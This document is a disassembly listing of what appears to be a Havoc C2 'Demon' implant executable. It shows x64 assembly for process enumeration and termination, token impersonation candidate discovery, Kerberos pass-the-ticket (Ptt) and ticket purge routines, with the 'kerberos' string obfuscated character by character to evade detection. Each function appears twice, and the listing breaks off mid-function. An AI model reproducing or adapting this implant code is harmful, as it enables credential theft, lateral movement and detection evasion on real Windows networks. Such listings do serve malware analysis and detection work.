File havoc_demon_9b6047883014e32c66300962e067762ee768a7a3f981ca51b1ce60ae7452421b.exe
Function:
Loading..
14001a160
14001a160ProcessSnapShot:
14001a160push rbp
14001a161xor eax, eax
14001a163push rdi
14001a164push rsi
14001a165push rbx
14001a166sub rsp, 56
14001a16amov [rsp+44], eax
14001a16etest rcx, rcx
14001a171je 0x14001a17b
14001a173mov rsi, rdx
14001a176test rdx, rdx
14001a179jne 0x14001a185
14001a17b
14001a17bloc_14001a17b:
14001a17bmov ebx, 0xffffffffc000000d
14001a180jmp 0x14001a23e
14001a185
14001a185loc_14001a185:
14001a185lea rbp, [rsp+44]
14001a18amov rbx, rcx
14001a18dxor r8l, r8l
14001a190xor edx, edx
14001a192mov r9, rbp
14001a195mov ecx, 5
14001a19acall SysNtQuerySystemInformation
14001a19ftest eax, eax
14001a1a1jns 0x14001a17b
14001a1a3mov r9l, [rsp+44]
14001a1a8lea rdi, [rip+0x131e1]
14001a1afmov r8l, 862
14001a1b5lea rcx, [rip+0x101c5]
14001a1bcmov rdx, rdi
14001a1bfcall printf
14001a1c4mov eax, [rsp+44]
14001a1c8lea r8l, [rax+4096]
14001a1cfmov rax, [rip+0x1219a]
14001a1d6mov [rsp+44], r8l
14001a1dbmov rdx, [rax+2230]
14001a1e2mov rdx, [rdx+96]
14001a1e6mov rcx, [rdx+48]
14001a1eamov edx, 8
14001a1efcall [rax+316]
14001a1f5mov [rbx], rax
14001a1f8mov rdx, rax
14001a1fbtest rax, rax
14001a1feje 0x14001a232
14001a200mov r8l, [rsp+44]
14001a205mov r9, rbp
14001a208mov ecx, 5
14001a20dcall SysNtQuerySystemInformation
14001a212mov ebx, eax
14001a214test eax, eax
14001a216jns 0x14001a237
14001a218mov r9l, eax
14001a21bmov r8l, 871
14001a221mov rdx, rdi
14001a224lea rcx, [rip+0x1018b]
14001a22bcall printf
14001a230jmp 0x14001a23e
14001a232
14001a232loc_14001a232:
14001a232mov ebx, 0xffffffffc0000017
14001a237
14001a237loc_14001a237:
14001a237mov eax, [rsp+44]
14001a23bmov [rsi], rax
14001a23e
14001a23eloc_14001a23e:
14001a23eadd rsp, 56
14001a242mov eax, ebx
14001a244pop rbx
14001a245pop rsi
14001a246pop rdi
14001a247pop rbp
14001a248ret
14001a160
14001a160ProcessSnapShot:
14001a160push rbp
14001a161xor eax, eax
14001a163push rdi
14001a164push rsi
14001a165push rbx
14001a166sub rsp, 56
14001a16amov [rsp+44], eax
14001a16etest rcx, rcx
14001a171je 0x14001a17b
14001a173mov rsi, rdx
14001a176test rdx, rdx
14001a179jne 0x14001a185
14001a17b
14001a17bloc_14001a17b:
14001a17bmov ebx, 0xffffffffc000000d
14001a180jmp 0x14001a23e
14001a185
14001a185loc_14001a185:
14001a185lea rbp, [rsp+44]
14001a18amov rbx, rcx
14001a18dxor r8l, r8l
14001a190xor edx, edx
14001a192mov r9, rbp
14001a195mov ecx, 5
14001a19acall SysNtQuerySystemInformation
14001a19ftest eax, eax
14001a1a1jns 0x14001a17b
14001a1a3mov r9l, [rsp+44]
14001a1a8lea rdi, [rip+0x131e1]
14001a1afmov r8l, 862
14001a1b5lea rcx, [rip+0x101c5]
14001a1bcmov rdx, rdi
14001a1bfcall printf
14001a1c4mov eax, [rsp+44]
14001a1c8lea r8l, [rax+4096]
14001a1cfmov rax, [rip+0x1219a]
14001a1d6mov [rsp+44], r8l
14001a1dbmov rdx, [rax+2230]
14001a1e2mov rdx, [rdx+96]
14001a1e6mov rcx, [rdx+48]
14001a1eamov edx, 8
14001a1efcall [rax+316]
14001a1f5mov [rbx], rax
14001a1f8mov rdx, rax
14001a1fbtest rax, rax
14001a1feje 0x14001a232
14001a200mov r8l, [rsp+44]
14001a205mov r9, rbp
14001a208mov ecx, 5
14001a20dcall SysNtQuerySystemInformation
14001a212mov ebx, eax
14001a214test eax, eax
14001a216jns 0x14001a237
14001a218mov r9l, eax
14001a21bmov r8l, 871
14001a221mov rdx, rdi
14001a224lea rcx, [rip+0x1018b]
14001a22bcall printf
14001a230jmp 0x14001a23e
14001a232
14001a232loc_14001a232:
14001a232mov ebx, 0xffffffffc0000017
14001a237
14001a237loc_14001a237:
14001a237mov eax, [rsp+44]
14001a23bmov [rsi], rax
14001a23e
14001a23eloc_14001a23e:
14001a23eadd rsp, 56
14001a242mov eax, ebx
14001a244pop rbx
14001a245pop rsi
14001a246pop rdi
14001a247pop rbp
14001a248ret
14001a160
14001a249
14001a249 // align 0x10
14001a249 // align 0x10
14001a250
14001a250ProcessTerminate:
14001a250push rbp
14001a251push rdi
14001a252push rsi
14001a253lea rsi, [rip+0x131f6]
14001a25apush rbx
14001a25bsub rsp, 56
14001a25ftest rcx, rcx
14001a262jne 0x14001a2d2
14001a264mov r9l, edx
14001a267mov edx, 1
14001a26cmov ecx, r9l
14001a26fmov [rsp+104], r9l
14001a274call ProcessOpen
14001a279mov r9l, [rsp+104]
14001a27etest rax, rax
14001a281mov rbx, rax
14001a284jne 0x14001a2b1
14001a286mov rax, [rip+0x120e3]
14001a28dmov r8l, 816
14001a293mov rdx, rsi
14001a296xor edi, edi
14001a298lea rcx, [rip+65535]
14001a29fmov rax, [rax+2230]
14001a2a6mov r9l, [rax+104]
14001a2aacall printf
14001a2afjmp 0x14001a32c
14001a2b1
14001a2b1loc_14001a2b1:
14001a2b1mov [rsp+32], rax
14001a2b6mov r8l, 820
14001a2bcmov rdx, rsi
14001a2bflea rcx, [rip+0x10014]
14001a2c6mov ebp, 1
14001a2cbcall printf
14001a2d0jmp 0x14001a2ef
14001a2d2
14001a2d2loc_14001a2d2:
14001a2d2mov r9, rcx
14001a2d5mov rbx, rcx
14001a2d8mov r8l, 824
14001a2demov rdx, rsi
14001a2e1lea rcx, [rip+0x1002c]
14001a2e8xor ebp, ebp
14001a2eacall printf
14001a2ef
14001a2efloc_14001a2ef:
14001a2efxor edx, edx
14001a2f1mov rcx, rbx
14001a2f4mov edi, 1
14001a2f9call SysNtTerminateProcess
14001a2fetest eax, eax
14001a300jns 0x14001a320
14001a302lea r9, [rip+0x10048]
14001a309mov r8l, 831
14001a30fmov rdx, rsi
14001a312xor edi, edi
14001a314lea rcx, [rip+0x10052]
14001a31bcall printf
14001a320
14001a320loc_14001a320:
14001a320test ebp, ebp
14001a322je 0x14001a32c
14001a324mov rcx, rbx
14001a327call SysNtClose
14001a32c
14001a32cloc_14001a32c:
14001a32cadd rsp, 56
14001a330mov eax, edi
14001a332pop rbx
14001a333pop rsi
14001a334pop rdi
14001a335pop rbp
14001a336ret
14001a250
14001a250ProcessTerminate:
14001a250push rbp
14001a251push rdi
14001a252push rsi
14001a253lea rsi, [rip+0x131f6]
14001a25apush rbx
14001a25bsub rsp, 56
14001a25ftest rcx, rcx
14001a262jne 0x14001a2d2
14001a264mov r9l, edx
14001a267mov edx, 1
14001a26cmov ecx, r9l
14001a26fmov [rsp+104], r9l
14001a274call ProcessOpen
14001a279mov r9l, [rsp+104]
14001a27etest rax, rax
14001a281mov rbx, rax
14001a284jne 0x14001a2b1
14001a286mov rax, [rip+0x120e3]
14001a28dmov r8l, 816
14001a293mov rdx, rsi
14001a296xor edi, edi
14001a298lea rcx, [rip+65535]
14001a29fmov rax, [rax+2230]
14001a2a6mov r9l, [rax+104]
14001a2aacall printf
14001a2afjmp 0x14001a32c
14001a2b1
14001a2b1loc_14001a2b1:
14001a2b1mov [rsp+32], rax
14001a2b6mov r8l, 820
14001a2bcmov rdx, rsi
14001a2bflea rcx, [rip+0x10014]
14001a2c6mov ebp, 1
14001a2cbcall printf
14001a2d0jmp 0x14001a2ef
14001a2d2
14001a2d2loc_14001a2d2:
14001a2d2mov r9, rcx
14001a2d5mov rbx, rcx
14001a2d8mov r8l, 824
14001a2demov rdx, rsi
14001a2e1lea rcx, [rip+0x1002c]
14001a2e8xor ebp, ebp
14001a2eacall printf
14001a2ef
14001a2efloc_14001a2ef:
14001a2efxor edx, edx
14001a2f1mov rcx, rbx
14001a2f4mov edi, 1
14001a2f9call SysNtTerminateProcess
14001a2fetest eax, eax
14001a300jns 0x14001a320
14001a302lea r9, [rip+0x10048]
14001a309mov r8l, 831
14001a30fmov rdx, rsi
14001a312xor edi, edi
14001a314lea rcx, [rip+0x10052]
14001a31bcall printf
14001a320
14001a320loc_14001a320:
14001a320test ebp, ebp
14001a322je 0x14001a32c
14001a324mov rcx, rbx
14001a327call SysNtClose
14001a32c
14001a32cloc_14001a32c:
14001a32cadd rsp, 56
14001a330mov eax, edi
14001a332pop rbx
14001a333pop rsi
14001a334pop rdi
14001a335pop rbp
14001a336ret
14001a250
14001a337
14001a337 // align 0x10
14001a337 // align 0x10
14001a340
14001a340ProcessUserToken:
14001a340push r14
14001a342xor eax, eax
14001a344push r13
14001a346push r12
14001a348mov r12l, r9l
14001a34bpush rbp
14001a34cmov ebp, edx
14001a34exor edx, edx
14001a350push rdi
14001a351push rsi
14001a352mov rsi, r8
14001a355push rbx
14001a356mov rbx, rcx
14001a359mov ecx, 264
14001a35esub rsp, 1136
14001a365lea rdi, [rsp+80]
14001a36alea r14, [rsp+64]
14001a36fmov [rsp+64], rdx
14001a374rep stosd [rdi], eax
14001a376mov [rsp+32], r14
14001a37bxor eax, eax
14001a37dmov rcx, rbx
14001a380mov [rsp+72], rdx
14001a385lea r9, [rsp+60]
14001a38alea rdx, [rsp+52]
14001a38flea r8, [rsp+56]
14001a394mov [rsp+52], eax
14001a398mov [rsp+56], eax
14001a39cmov [rsp+60], eax
14001a3a0call GetTokenInfo
14001a3a5test eax, eax
14001a3a7je 0x14001a465
14001a3admov r13l, [rsp+52]
14001a3b2lea rdi, [rsp+80]
14001a3b7cmp r13l, 1
14001a3bbje 0x14001a3c9
14001a3bdmov eax, [rsp+60]
14001a3c1sub eax, 2
14001a3c4cmp eax, 1
14001a3c7ja 0x14001a441
14001a3c9
14001a3c9loc_14001a3c9:
14001a3c9mov rdx, [rsp+1232]
14001a3d1mov ecx, r12l
14001a3d4mov r8, r14
14001a3d7call IsNotCurrentUser
14001a3dcmov r12, [rsp+64]
14001a3e1test eax, eax
14001a3e3je 0x14001a441
14001a3e5mov rcx, rbx
14001a3e8call CanTokenBeImpersonated
14001a3edtest eax, eax
14001a3efje 0x14001a441
14001a3f1mov rdx, r12
14001a3f4mov rcx, rdi
14001a3f7call StringCopyW
14001a3fcmov eax, [rsp+56]
14001a400mov r8, [rsp+1248]
14001a408mov rcx, rdi
14001a40bmov rdx, [rsp+1240]
14001a413mov [rsp+1104], ebp
14001a41amov [rsp+1120], eax
14001a421mov eax, [rsp+60]
14001a425mov [rsp+1112], rsi
14001a42dmov [rsp+1124], eax
14001a434mov [rsp+1128], r13l
14001a43ccall AddUserToken
14001a441
14001a441loc_14001a441:
14001a441mov rdi, [rsp+64]
14001a446test rdi, rdi
14001a449je 0x14001a465
14001a44bmov ecx, [rsp+72]
14001a44fxor eax, eax
14001a451rep stosb [rdi], al
14001a453mov rax, [rip+0x11f16]
14001a45amov rcx, [rsp+64]
14001a45fcall [rax+940]
14001a465
14001a465loc_14001a465:
14001a465add rsp, 1136
14001a46cpop rbx
14001a46dpop rsi
14001a46epop rdi
14001a46fpop rbp
14001a470pop r12
14001a472pop r13
14001a474pop r14
14001a476ret
14001a340
14001a340ProcessUserToken:
14001a340push r14
14001a342xor eax, eax
14001a344push r13
14001a346push r12
14001a348mov r12l, r9l
14001a34bpush rbp
14001a34cmov ebp, edx
14001a34exor edx, edx
14001a350push rdi
14001a351push rsi
14001a352mov rsi, r8
14001a355push rbx
14001a356mov rbx, rcx
14001a359mov ecx, 264
14001a35esub rsp, 1136
14001a365lea rdi, [rsp+80]
14001a36alea r14, [rsp+64]
14001a36fmov [rsp+64], rdx
14001a374rep stosd [rdi], eax
14001a376mov [rsp+32], r14
14001a37bxor eax, eax
14001a37dmov rcx, rbx
14001a380mov [rsp+72], rdx
14001a385lea r9, [rsp+60]
14001a38alea rdx, [rsp+52]
14001a38flea r8, [rsp+56]
14001a394mov [rsp+52], eax
14001a398mov [rsp+56], eax
14001a39cmov [rsp+60], eax
14001a3a0call GetTokenInfo
14001a3a5test eax, eax
14001a3a7je 0x14001a465
14001a3admov r13l, [rsp+52]
14001a3b2lea rdi, [rsp+80]
14001a3b7cmp r13l, 1
14001a3bbje 0x14001a3c9
14001a3bdmov eax, [rsp+60]
14001a3c1sub eax, 2
14001a3c4cmp eax, 1
14001a3c7ja 0x14001a441
14001a3c9
14001a3c9loc_14001a3c9:
14001a3c9mov rdx, [rsp+1232]
14001a3d1mov ecx, r12l
14001a3d4mov r8, r14
14001a3d7call IsNotCurrentUser
14001a3dcmov r12, [rsp+64]
14001a3e1test eax, eax
14001a3e3je 0x14001a441
14001a3e5mov rcx, rbx
14001a3e8call CanTokenBeImpersonated
14001a3edtest eax, eax
14001a3efje 0x14001a441
14001a3f1mov rdx, r12
14001a3f4mov rcx, rdi
14001a3f7call StringCopyW
14001a3fcmov eax, [rsp+56]
14001a400mov r8, [rsp+1248]
14001a408mov rcx, rdi
14001a40bmov rdx, [rsp+1240]
14001a413mov [rsp+1104], ebp
14001a41amov [rsp+1120], eax
14001a421mov eax, [rsp+60]
14001a425mov [rsp+1112], rsi
14001a42dmov [rsp+1124], eax
14001a434mov [rsp+1128], r13l
14001a43ccall AddUserToken
14001a441
14001a441loc_14001a441:
14001a441mov rdi, [rsp+64]
14001a446test rdi, rdi
14001a449je 0x14001a465
14001a44bmov ecx, [rsp+72]
14001a44fxor eax, eax
14001a451rep stosb [rdi], al
14001a453mov rax, [rip+0x11f16]
14001a45amov rcx, [rsp+64]
14001a45fcall [rax+940]
14001a465
14001a465loc_14001a465:
14001a465add rsp, 1136
14001a46cpop rbx
14001a46dpop rsi
14001a46epop rdi
14001a46fpop rbp
14001a470pop r12
14001a472pop r13
14001a474pop r14
14001a476ret
14001a340
14001a477
14001a477 // align 0x10
14001a477 // align 0x10
14001a480
14001a480Ptt:
14001a480push r15
14001a482xor r10l, r10l
14001a485xor eax, eax
14001a487push r14
14001a489push r13
14001a48bpush r12
14001a48dpush rbp
14001a48emov ebp, r8l
14001a491xor r8l, r8l
14001a494push rdi
14001a495mov rdi, r9
14001a498xor r9l, r9l
14001a49bpush rsi
14001a49cmov rsi, rdx
14001a49fxor edx, edx
14001a4a1push rbx
14001a4a2mov rbx, rcx
14001a4a5xor ecx, ecx
14001a4a7sub rsp, 136
14001a4aemov [rsp+72], ecx
14001a4b2mov ecx, 114
14001a4b7lea r12, [rsp+103]
14001a4bcmov [rsp+120], rdx
14001a4c1mov [rsp+88], r8
14001a4c6mov [rsp+76], r9l
14001a4cbmov [rsp+103], r10
14001a4d0mov [rsp+80], rax
14001a4d5mov [rsp+112], 0x90008
14001a4ddmov [rsp+68], 0xffffffffc0000001
14001a4e5mov [rsp+111], 0
14001a4eacall HideChar
14001a4efmov ecx, 107
14001a4f4mov [rsp+108], al
14001a4f8call HideChar
14001a4fdxor ecx, ecx
14001a4ffmov [rsp+103], al
14001a503call HideChar
14001a508mov ecx, 101
14001a50dmov [rsp+111], al
14001a511call HideChar
14001a516mov ecx, 114
14001a51bmov [rsp+104], al
14001a51fcall HideChar
14001a524mov ecx, 115
14001a529mov [rsp+105], al
14001a52dcall HideChar
14001a532mov ecx, 98
14001a537mov [rsp+110], al
14001a53bcall HideChar
14001a540mov ecx, 111
14001a545mov [rsp+106], al
14001a549call HideChar
14001a54emov ecx, 101
14001a553mov [rsp+109], al
14001a557call HideChar
14001a55cmov [rsp+120], r12
14001a561mov [rsp+107], al
14001a565test rbx, rbx
14001a568jne 0x14001a571
14001a56a
14001a56aloc_14001a56a:
14001a56axor esi, esi
14001a56cjmp 0x14001a6cb
14001a571
14001a571loc_14001a571:
14001a571mov rcx, rbx
14001a574call IsHighIntegrity
14001a579mov edx, eax
14001a57btest eax, eax
14001a57djne 0x14001a5a1
14001a57flea r9, [rip+56874]
14001a586mov r8l, 432
14001a58clea rdx, [rip+0x1271d]
14001a593lea rcx, [rip+56685]
14001a59acall printf
14001a59fjmp 0x14001a56a
14001a5a1
14001a5a1loc_14001a5a1:
14001a5a1lea r8, [rsp+80]
14001a5a6mov rcx, rbx
14001a5a9call GetLsaHandle
14001a5aemov r9l, eax
14001a5b1test eax, eax
14001a5b3js 0x14001a5bf
14001a5b5mov r14, [rsp+80]
14001a5batest r14, r14
14001a5bdjne 0x14001a5d5
14001a5bf
14001a5bfloc_14001a5bf:
14001a5bfmov r8l, 439
14001a5c5lea rdx, [rip+0x126e4]
14001a5cclea rcx, [rip+56824]
14001a5d3jmp 0x14001a60b
14001a5d5
14001a5d5loc_14001a5d5:
14001a5d5mov r13, [rip+0x11d94]
14001a5dclea rdx, [rsp+112]
14001a5e1lea r8, [rsp+72]
14001a5e6mov rcx, r14
14001a5e9call [r13+1988]
14001a5f0mov r9l, eax
14001a5f3test eax, eax
14001a5f5jns 0x14001a615
14001a5f7mov r8l, 446
14001a5fdlea rdx, [rip+0x126ac]
14001a604lea rcx, [rip+56806]
14001a60b
14001a60bloc_14001a60b:
14001a60bcall printf
14001a610jmp 0x14001a56a
14001a615
14001a615loc_14001a615:
14001a615lea edx, [rbp+36]
14001a618mov ecx, 64
14001a61dmov r15, rdx
14001a620imul rdx, rdx, 36
14001a624call [r13+932]
14001a62bmov rbx, rax
14001a62etest rax, rax
14001a631je 0x14001a56a
14001a637mov [rax], 21
14001a63dlea rax, [rax+36]
14001a641mov ecx, ebp
14001a643mov r9l, r15l
14001a646mov [rax-8], ebp
14001a649mov r8, rbx
14001a64cmov [rax-4], 36
14001a653mov [rax-32], rdi
14001a657mov rdi, rax
14001a65alea rax, [rsp+68]
14001a65frep movsb [rdi], [rsi]
14001a661mov [rsp+48], rax
14001a666lea rax, [rsp+76]
14001a66bmov rcx, r14
14001a66emov [rsp+40], rax
14001a673lea rax, [rsp+88]
14001a678mov [rsp+32], rax
14001a67dmov edx, [rsp+72]
14001a681call [r13+1956]
14001a688mov r9l, eax
14001a68btest eax, eax
14001a68djns 0x14001a6ac
14001a68fmov r8l, 469
14001a695
14001a695loc_14001a695:
14001a695lea rdx, [rip+0x12614]
14001a69clea rcx, [rip+56534]
14001a6a3xor esi, esi
14001a6a5call printf
14001a6aajmp 0x14001a6c1
14001a6ac
14001a6acloc_14001a6ac:
14001a6acmov r9l, [rsp+68]
14001a6b1mov esi, 1
14001a6b6mov r8l, 475
14001a6bctest r9l, r9l
14001a6bfjs 0x14001a695
14001a6c1
14001a6c1loc_14001a6c1:
14001a6c1mov rcx, rbx
14001a6c4call [r13+940]
14001a6cb
14001a6cbloc_14001a6cb:
14001a6cbmov rcx, [rsp+80]
14001a6d0test rcx, rcx
14001a6d3je 0x14001a6e2
14001a6d5mov rax, [rip+0x11c94]
14001a6dccall [rax+1996]
14001a6e2
14001a6e2loc_14001a6e2:
14001a6e2mov rdi, r12
14001a6e5mov ecx, 9
14001a6eaxor eax, eax
14001a6ecrep stosb [rdi], al
14001a6eeadd rsp, 136
14001a6f5mov eax, esi
14001a6f7pop rbx
14001a6f8pop rsi
14001a6f9pop rdi
14001a6fapop rbp
14001a6fbpop r12
14001a6fdpop r13
14001a6ffpop r14
14001a701pop r15
14001a703ret
14001a480
14001a480Ptt:
14001a480push r15
14001a482xor r10l, r10l
14001a485xor eax, eax
14001a487push r14
14001a489push r13
14001a48bpush r12
14001a48dpush rbp
14001a48emov ebp, r8l
14001a491xor r8l, r8l
14001a494push rdi
14001a495mov rdi, r9
14001a498xor r9l, r9l
14001a49bpush rsi
14001a49cmov rsi, rdx
14001a49fxor edx, edx
14001a4a1push rbx
14001a4a2mov rbx, rcx
14001a4a5xor ecx, ecx
14001a4a7sub rsp, 136
14001a4aemov [rsp+72], ecx
14001a4b2mov ecx, 114
14001a4b7lea r12, [rsp+103]
14001a4bcmov [rsp+120], rdx
14001a4c1mov [rsp+88], r8
14001a4c6mov [rsp+76], r9l
14001a4cbmov [rsp+103], r10
14001a4d0mov [rsp+80], rax
14001a4d5mov [rsp+112], 0x90008
14001a4ddmov [rsp+68], 0xffffffffc0000001
14001a4e5mov [rsp+111], 0
14001a4eacall HideChar
14001a4efmov ecx, 107
14001a4f4mov [rsp+108], al
14001a4f8call HideChar
14001a4fdxor ecx, ecx
14001a4ffmov [rsp+103], al
14001a503call HideChar
14001a508mov ecx, 101
14001a50dmov [rsp+111], al
14001a511call HideChar
14001a516mov ecx, 114
14001a51bmov [rsp+104], al
14001a51fcall HideChar
14001a524mov ecx, 115
14001a529mov [rsp+105], al
14001a52dcall HideChar
14001a532mov ecx, 98
14001a537mov [rsp+110], al
14001a53bcall HideChar
14001a540mov ecx, 111
14001a545mov [rsp+106], al
14001a549call HideChar
14001a54emov ecx, 101
14001a553mov [rsp+109], al
14001a557call HideChar
14001a55cmov [rsp+120], r12
14001a561mov [rsp+107], al
14001a565test rbx, rbx
14001a568jne 0x14001a571
14001a56a
14001a56aloc_14001a56a:
14001a56axor esi, esi
14001a56cjmp 0x14001a6cb
14001a571
14001a571loc_14001a571:
14001a571mov rcx, rbx
14001a574call IsHighIntegrity
14001a579mov edx, eax
14001a57btest eax, eax
14001a57djne 0x14001a5a1
14001a57flea r9, [rip+56874]
14001a586mov r8l, 432
14001a58clea rdx, [rip+0x1271d]
14001a593lea rcx, [rip+56685]
14001a59acall printf
14001a59fjmp 0x14001a56a
14001a5a1
14001a5a1loc_14001a5a1:
14001a5a1lea r8, [rsp+80]
14001a5a6mov rcx, rbx
14001a5a9call GetLsaHandle
14001a5aemov r9l, eax
14001a5b1test eax, eax
14001a5b3js 0x14001a5bf
14001a5b5mov r14, [rsp+80]
14001a5batest r14, r14
14001a5bdjne 0x14001a5d5
14001a5bf
14001a5bfloc_14001a5bf:
14001a5bfmov r8l, 439
14001a5c5lea rdx, [rip+0x126e4]
14001a5cclea rcx, [rip+56824]
14001a5d3jmp 0x14001a60b
14001a5d5
14001a5d5loc_14001a5d5:
14001a5d5mov r13, [rip+0x11d94]
14001a5dclea rdx, [rsp+112]
14001a5e1lea r8, [rsp+72]
14001a5e6mov rcx, r14
14001a5e9call [r13+1988]
14001a5f0mov r9l, eax
14001a5f3test eax, eax
14001a5f5jns 0x14001a615
14001a5f7mov r8l, 446
14001a5fdlea rdx, [rip+0x126ac]
14001a604lea rcx, [rip+56806]
14001a60b
14001a60bloc_14001a60b:
14001a60bcall printf
14001a610jmp 0x14001a56a
14001a615
14001a615loc_14001a615:
14001a615lea edx, [rbp+36]
14001a618mov ecx, 64
14001a61dmov r15, rdx
14001a620imul rdx, rdx, 36
14001a624call [r13+932]
14001a62bmov rbx, rax
14001a62etest rax, rax
14001a631je 0x14001a56a
14001a637mov [rax], 21
14001a63dlea rax, [rax+36]
14001a641mov ecx, ebp
14001a643mov r9l, r15l
14001a646mov [rax-8], ebp
14001a649mov r8, rbx
14001a64cmov [rax-4], 36
14001a653mov [rax-32], rdi
14001a657mov rdi, rax
14001a65alea rax, [rsp+68]
14001a65frep movsb [rdi], [rsi]
14001a661mov [rsp+48], rax
14001a666lea rax, [rsp+76]
14001a66bmov rcx, r14
14001a66emov [rsp+40], rax
14001a673lea rax, [rsp+88]
14001a678mov [rsp+32], rax
14001a67dmov edx, [rsp+72]
14001a681call [r13+1956]
14001a688mov r9l, eax
14001a68btest eax, eax
14001a68djns 0x14001a6ac
14001a68fmov r8l, 469
14001a695
14001a695loc_14001a695:
14001a695lea rdx, [rip+0x12614]
14001a69clea rcx, [rip+56534]
14001a6a3xor esi, esi
14001a6a5call printf
14001a6aajmp 0x14001a6c1
14001a6ac
14001a6acloc_14001a6ac:
14001a6acmov r9l, [rsp+68]
14001a6b1mov esi, 1
14001a6b6mov r8l, 475
14001a6bctest r9l, r9l
14001a6bfjs 0x14001a695
14001a6c1
14001a6c1loc_14001a6c1:
14001a6c1mov rcx, rbx
14001a6c4call [r13+940]
14001a6cb
14001a6cbloc_14001a6cb:
14001a6cbmov rcx, [rsp+80]
14001a6d0test rcx, rcx
14001a6d3je 0x14001a6e2
14001a6d5mov rax, [rip+0x11c94]
14001a6dccall [rax+1996]
14001a6e2
14001a6e2loc_14001a6e2:
14001a6e2mov rdi, r12
14001a6e5mov ecx, 9
14001a6eaxor eax, eax
14001a6ecrep stosb [rdi], al
14001a6eeadd rsp, 136
14001a6f5mov eax, esi
14001a6f7pop rbx
14001a6f8pop rsi
14001a6f9pop rdi
14001a6fapop rbp
14001a6fbpop r12
14001a6fdpop r13
14001a6ffpop r14
14001a701pop r15
14001a703ret
14001a480
14001a704
14001a704 // align 0x10
14001a704 // align 0x10
14001a710
14001a710Purge:
14001a710push rbp
14001a711xor eax, eax
14001a713xor r8l, r8l
14001a716xor r9l, r9l
14001a719push rdi
14001a71axor r10l, r10l
14001a71dxor r11l, r11l
14001a720push rsi
14001a721mov rsi, rdx
14001a724xor edx, edx
14001a726push rbx
14001a727mov rbx, rcx
14001a72axor ecx, ecx
14001a72csub rsp, 200
14001a733mov [rsp+136], rcx
14001a73blea rdi, [rsp+144]
14001a743mov ecx, 12
14001a748rep stosd [rdi], eax
14001a74amov ecx, 114
14001a74fmov [rsp+96], rdx
14001a754lea rdi, [rsp+119]
14001a759mov [rsp+88], r8l
14001a75emov [rsp+104], r9
14001a763mov [rsp+92], r10l
14001a768mov [rsp+119], r11
14001a76dmov [rsp+128], 0x90008
14001a778mov [rsp+84], 0xffffffffc0000001
14001a780mov [rsp+127], 0
14001a785call HideChar
14001a78amov ecx, 107
14001a78fmov [rsp+124], al
14001a793call HideChar
14001a798xor ecx, ecx
14001a79amov [rsp+119], al
14001a79ecall HideChar
14001a7a3mov ecx, 101
14001a7a8mov [rsp+127], al
14001a7accall HideChar
14001a7b1mov ecx, 114
14001a7b6mov [rsp+120], al
14001a7bacall HideChar
14001a7bfmov ecx, 115
14001a7c4mov [rsp+121], al
14001a7c8call HideChar
14001a7cdmov ecx, 98
14001a7d2mov [rsp+126], al
14001a7d6call HideChar
14001a7dbmov ecx, 111
14001a7e0mov [rsp+122], al
14001a7e4call HideChar
14001a7e9mov ecx, 101
14001a7eemov [rsp+125], al
14001a7f2call HideChar
14001a7f7mov [rsp+136], rdi
14001a7ffmov [rsp+123], al
14001a803test rbx, rbx
14001a806je 0x14001a836
14001a808mov rcx, rbx
14001a80bcall IsHighIntegrity
14001a810mov edx, eax
14001a812test eax, eax
14001a814jne 0x14001a83d
14001a816lea r9, [rip+56211]
14001a81dmov r8l, 526
14001a823lea rdx, [rip+0x11fe6]
14001a82alea rcx, [rip+56022]
14001a831call printf
14001a836
14001a836loc_14001a836:
14001a836xor ebx, ebx
14001a838jmp 0x14001a984
14001a83d
14001a83dloc_14001a83d:
14001a83dlea r8, [rsp+96]
14001a842mov rcx, rbx
14001a845call GetLsaHandle
14001a84amov r9l, eax
14001a84dtest eax, eax
14001a84fjs 0x14001a85b
14001a851mov rbp, [rsp+96]
14001a856test rbp, rbp
14001a859jne 0x14001a874
14001a85b
14001a85bloc_14001a85b:
14001a85bmov r8l, 533
14001a861lea rdx, [rip+0x11fa8]
14001a868lea rcx, [rip+56156]
14001a86fjmp 0x14001a97a
14001a874
14001a874loc_14001a874:
14001a874mov rbx, [rip+0x11af5]
14001a87blea rdx, [rsp+128]
14001a883lea r8, [rsp+88]
14001a888mov rcx, rbp
14001a88bcall [rbx+1988]
14001a891mov r8l, 540
14001a897lea rdx, [rip+0x11f72]
14001a89elea rcx, [rip+56140]
14001a8a5mov r9l, eax
14001a8a8test eax, eax
14001a8aajs 0x14001a97a
14001a8b0lea rax, [rip+56179]
14001a8b7mov rcx, rbp
14001a8bamov r9l, 48
14001a8c0mov [rsp+144], 6
14001a8cbmov [rsp+184], rax
14001a8d3mov edx, [rsp+88]
14001a8d7lea r8, [rsp+144]
14001a8dfmov [rsp+168], rax
14001a8e7lea rax, [rsp+84]
14001a8ecmov [rsp+48], rax
14001a8f1lea rax, [rsp+92]
14001a8f6mov [rsp+40], rax
14001a8fblea rax, [rsp+104]
14001a900mov [rsp+148], rsi
14001a908mov [rsp+176], 0x10000
14001a913mov [rsp+160], 0x10000
14001a91emov [rsp+32], rax
14001a923call [rbx+1956]
14001a929mov rcx, [rsp+104]
14001a92emov r9l, eax
14001a931test rcx, rcx
14001a934je 0x14001a94c
14001a936mov [rsp+76], eax
14001a93acall [rbx+2012]
14001a940xor eax, eax
14001a942mov r9l, [rsp+76]
14001a947mov [rsp+104], rax
14001a94c
14001a94cloc_14001a94c:
14001a94cmov r8l, 564
14001a952test r9l, r9l
14001a955js 0x14001a96c
14001a957mov r9l, [rsp+84]
14001a95cmov ebx, 1
14001a961test r9l, r9l
14001a964jns 0x14001a984
14001a966mov r8l, 570
14001a96c
14001a96cloc_14001a96c:
14001a96clea rdx, [rip+0x11e9d]
14001a973lea rcx, [rip+55807]
14001a97a
14001a97aloc_14001a97a:
14001a97acall printf
14001a97fjmp 0x14001a836
14001a984
14001a984loc_14001a984:
14001a984mov rcx, [rsp+96]
14001a989test rcx, rcx
14001a98cje 0x14001a99b
14001a98emov rax, [rip+0x119db]
14001a995call [rax+1996]
14001a99b
14001a99bloc_14001a99b:
14001a99bmov ecx, 9
14001a9a0xor eax, eax
14001a9a2rep stosb [rdi], al
14001a9a4add rsp, 200
14001a9abmov eax, ebx
14001a9adpop rbx
14001a9aepop rsi
14001a9afpop rdi
14001a9b0pop rbp
14001a9b1ret
14001a710
14001a710Purge:
14001a710push rbp
14001a711xor eax, eax
14001a713xor r8l, r8l
14001a716xor r9l, r9l
14001a719push rdi
14001a71axor r10l, r10l
14001a71dxor r11l, r11l
14001a720push rsi
14001a721mov rsi, rdx
14001a724xor edx, edx
14001a726push rbx
14001a727mov rbx, rcx
14001a72axor ecx, ecx
14001a72csub rsp, 200
